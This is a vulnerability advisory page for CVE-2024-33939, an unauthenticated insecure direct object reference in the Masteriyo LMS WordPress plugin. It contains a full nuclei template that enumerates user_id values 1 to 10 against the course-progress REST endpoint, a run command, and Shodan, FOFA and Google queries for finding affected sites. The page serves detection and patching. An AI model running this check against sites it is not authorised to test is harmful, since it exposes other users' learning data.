Masteriyo LMS <= 1.7.3 - Insecure Direct Object Reference

mediumseverity

5.3CVSS score

0.9%likelihood of exploitation, next 30 days

61%of all CVEs are less likely

Readycheck to confirm it

Authentication Bypass Using an Alternate Path or Channel vulnerability in Masteriyo Masteriyo - LMS. Unauth access to course progress.This issue affects Masteriyo - LMS: from n/a through 1.7.3.

Impact

An unauthenticated attacker can access course progress and user learning data without logging in.

Fix

Update the Masteriyo LMS plugin to the latest version and enforce proper authentication and authorization checks on REST API endpoints.

How to confirm it

Send: GET /wp-json/masteriyo/v1/course-progress?user_id={{user}}
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "\"course_id\":", "\"course_permalink\":", "\"status\":")

Run it with nuclei: nuclei -id CVE-2024-33939 -u <target>

The full check

id: CVE-2024-33939

info:
  name: Masteriyo LMS <= 1.7.3 - Insecure Direct Object Reference
  author: Sourabh-Sahu
  severity: medium
  description: |
    Authentication Bypass Using an Alternate Path or Channel vulnerability in Masteriyo Masteriyo - LMS. Unauth access to course progress.This issue affects Masteriyo - LMS: from n/a through 1.7.3.
  impact: |
    An unauthenticated attacker can access course progress and user learning data without logging in.
  remediation: |
    Update the Masteriyo LMS plugin to the latest version and enforce proper authentication and authorization checks on REST API endpoints.
  reference:
    - https://wpscan.com/vulnerability/57c0054a-b713-4f7c-8e41-c009b07624a6/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-33939
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-33939
    cwe-id: CWE-288
    epss-score: 0.00937
    epss-percentile: 0.6115
    cpe: cpe:2.3:a:themegrill:masteriyo:*:*:*:*:free:wordpress:*:*
  metadata:
    verified: true
    max-request: 11
    shodan-query: http.html:"/wp-content/plugins/learning-management-system/"
    fofa-query: body=/wp-content/plugins/learning-management-system/
    google-query: inurl:"/wp-content/plugins/learning-management-system/"
  tags: cve,cve2024,wordpress,wp-plugin,lms,idor,unauth,learning-management-system,vkev,vuln

http:
  - raw:
      - |
        GET /wp-json/masteriyo/v1/course-progress?user_id={{user}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      user:
        - "1"
        - "2"
        - "3"
        - "4"
        - "5"
        - "6"
        - "7"
        - "8"
        - "9"
        - "10"

    attack: clusterbomb
    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"course_id\":", "\"course_permalink\":", "\"status\":")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from